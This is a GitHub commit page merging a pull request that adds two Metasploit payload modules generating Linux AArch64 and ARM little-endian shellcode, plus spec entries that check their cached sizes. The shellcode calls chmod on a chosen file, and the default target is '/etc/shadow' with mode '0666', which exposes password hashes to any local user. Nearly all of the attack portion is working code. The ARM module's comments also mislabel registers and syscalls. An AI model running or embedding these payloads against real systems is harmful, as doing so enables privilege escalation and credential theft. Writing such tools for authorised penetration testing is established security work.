Skip to content

Commit e96c1e9

Browse files
authored
Merge pull request #20845 from bcoles/linux-arm-chmod-payloads
Add Linux ARM chmod payloads
2 parents 595dce8 + e245298 commit e96c1e9

File tree

3 files changed

+163
-1
lines changed

3 files changed

+163
-1
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 48
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux::Aarch64::Prepends
11+
12+
def initialize(info = {})
13+
super(
14+
merge_info(
15+
info,
16+
'Name' => 'Linux Chmod',
17+
'Description' => 'Runs chmod on the specified file with specified mode.',
18+
'Author' => 'bcoles',
19+
'License' => MSF_LICENSE,
20+
'Platform' => 'linux',
21+
'Arch' => ARCH_AARCH64,
22+
'References' => [
23+
['URL', 'https://man7.org/linux/man-pages/man2/fchmodat.2.html'],
24+
['URL', 'https://github.com/bcoles/shellcode/blob/main/aarch64/chmod/chmod.s'],
25+
]
26+
)
27+
)
28+
register_options([
29+
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
30+
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
31+
])
32+
end
33+
34+
# @return [String] the full path of the file to be modified
35+
def chmod_file_path
36+
datastore['FILE'] || ''
37+
end
38+
39+
# @return [Integer] the desired mode for the file
40+
def mode
41+
(datastore['MODE'] || '0666').oct
42+
rescue StandardError => e
43+
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
44+
end
45+
46+
# @return [Integer] AArch64 instruction to load mode into x2 register
47+
# For example: 0xd28036c2 ; mov x2, #0x1b6 ; loads 0x1b6 (0o666) into x2
48+
def chmod_instruction(mode)
49+
(0xd2800000 | ((mode & 0xffff) << 5) | 2)
50+
end
51+
52+
def generate(_opts = {})
53+
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0x7FF)" if mode > 0x7FF
54+
55+
shellcode = [
56+
0x92800c60, # mov x0, #0xffffffffffffff9c // #-100
57+
0x10000101, # adr x1, 40009c <path>
58+
chmod_instruction(mode), # mov x2, <mode>
59+
0xd2800003, # mov x3, #0
60+
0xd28006a8, # mov x8, #0x35 # __NR_fchmodat
61+
0xd4000001, # svc #0
62+
0xd2800000, # mov x0, #0
63+
0xd2800ba8, # mov x8, #0x5d # __NR_exit
64+
0xd4000001 # svc #0
65+
].pack('V*')
66+
shellcode += chmod_file_path + "\x00"
67+
68+
# align our shellcode to 4 bytes
69+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
70+
71+
super.to_s + shellcode
72+
end
73+
end
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 40
8+
9+
include Msf::Payload::Single
10+
11+
def initialize(info = {})
12+
super(
13+
merge_info(
14+
info,
15+
'Name' => 'Linux Chmod',
16+
'Description' => 'Runs chmod on the specified file with specified mode.',
17+
'Author' => 'bcoles',
18+
'License' => MSF_LICENSE,
19+
'Platform' => 'linux',
20+
'Arch' => ARCH_ARMLE,
21+
'References' => [
22+
['URL', 'https://man7.org/linux/man-pages/man2/chmod.2.html'],
23+
['URL', 'https://github.com/bcoles/shellcode/blob/main/armle/chmod/chmod.s'],
24+
]
25+
)
26+
)
27+
register_options([
28+
OptString.new('FILE', [ true, 'Filename to chmod', '/etc/shadow' ]),
29+
OptString.new('MODE', [ true, 'File mode (octal)', '0666' ]),
30+
])
31+
end
32+
33+
# @return [String] the full path of the file to be modified
34+
def chmod_file_path
35+
datastore['FILE'] || ''
36+
end
37+
38+
# @return [Integer] the desired mode for the file
39+
def mode
40+
(datastore['MODE'] || '0666').oct
41+
rescue StandardError => e
42+
raise ArgumentError, "Invalid chmod mode '#{datastore['MODE']}': #{e.message}"
43+
end
44+
45+
# @return [Integer] ARM LE instruction to load mode into r2 register
46+
# For example: 0xe30011b6 ; mov r1, #0666 ; loads 0x1b6 (0o666) into r2
47+
def chmod_instruction(mode)
48+
0xe3000000 | ((mode & 0xF000) << 4) | (1 << 12) | (mode & 0x0FFF)
49+
end
50+
51+
def generate(_opts = {})
52+
raise ArgumentError, "chmod mode (#{mode}) is greater than maximum mode size (0xFFF)" if mode > 0xFFF
53+
54+
shellcode = [
55+
0xe28f0014, # add r0, pc, #20 # pointer to path
56+
chmod_instruction(mode), # movw r2, <mode>
57+
0xe3a0700f, # mov r7, #15 # __NR_fchmodat
58+
0xef000000, # svc 0x00000000 # syscall
59+
0xe3a00000, # mov r0, #0 # exit code = 0
60+
0xe3a07001, # mov r7, #1 # __NR_exit
61+
0xef000000 # svc 0x00000000 # syscall
62+
].pack('V*')
63+
shellcode += chmod_file_path + "\x00"
64+
65+
# align our shellcode to 4 bytes
66+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
67+
68+
super.to_s + shellcode
69+
end
70+
end

spec/modules/payloads_spec.rb

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1827,6 +1827,16 @@
18271827
reference_name: 'java/shell_reverse_tcp'
18281828
end
18291829

1830+
context 'linux/aarch64/chmod' do
1831+
it_should_behave_like 'payload cached size is consistent',
1832+
ancestor_reference_names: [
1833+
'singles/linux/aarch64/chmod'
1834+
],
1835+
dynamic_size: false,
1836+
modules_pathname: modules_pathname,
1837+
reference_name: 'linux/aarch64/chmod'
1838+
end
1839+
18301840
context 'linux/aarch64/shell_reverse_tcp' do
18311841
it_should_behave_like 'payload cached size is consistent',
18321842
ancestor_reference_names: [
@@ -1868,7 +1878,6 @@
18681878
reference_name: 'linux/aarch64/shell/reverse_tcp'
18691879
end
18701880

1871-
18721881
context 'linux/armbe/shell_bind_tcp' do
18731882
it_should_behave_like 'payload cached size is consistent',
18741883
ancestor_reference_names: [
@@ -1889,6 +1898,16 @@
18891898
reference_name: 'linux/armle/adduser'
18901899
end
18911900

1901+
context 'linux/armle/chmod' do
1902+
it_should_behave_like 'payload cached size is consistent',
1903+
ancestor_reference_names: [
1904+
'singles/linux/armle/chmod'
1905+
],
1906+
dynamic_size: false,
1907+
modules_pathname: modules_pathname,
1908+
reference_name: 'linux/armle/chmod'
1909+
end
1910+
18921911
context 'linux/armle/exec' do
18931912
it_should_behave_like 'payload cached size is consistent',
18941913
ancestor_reference_names: [

0 commit comments

Comments
 (0)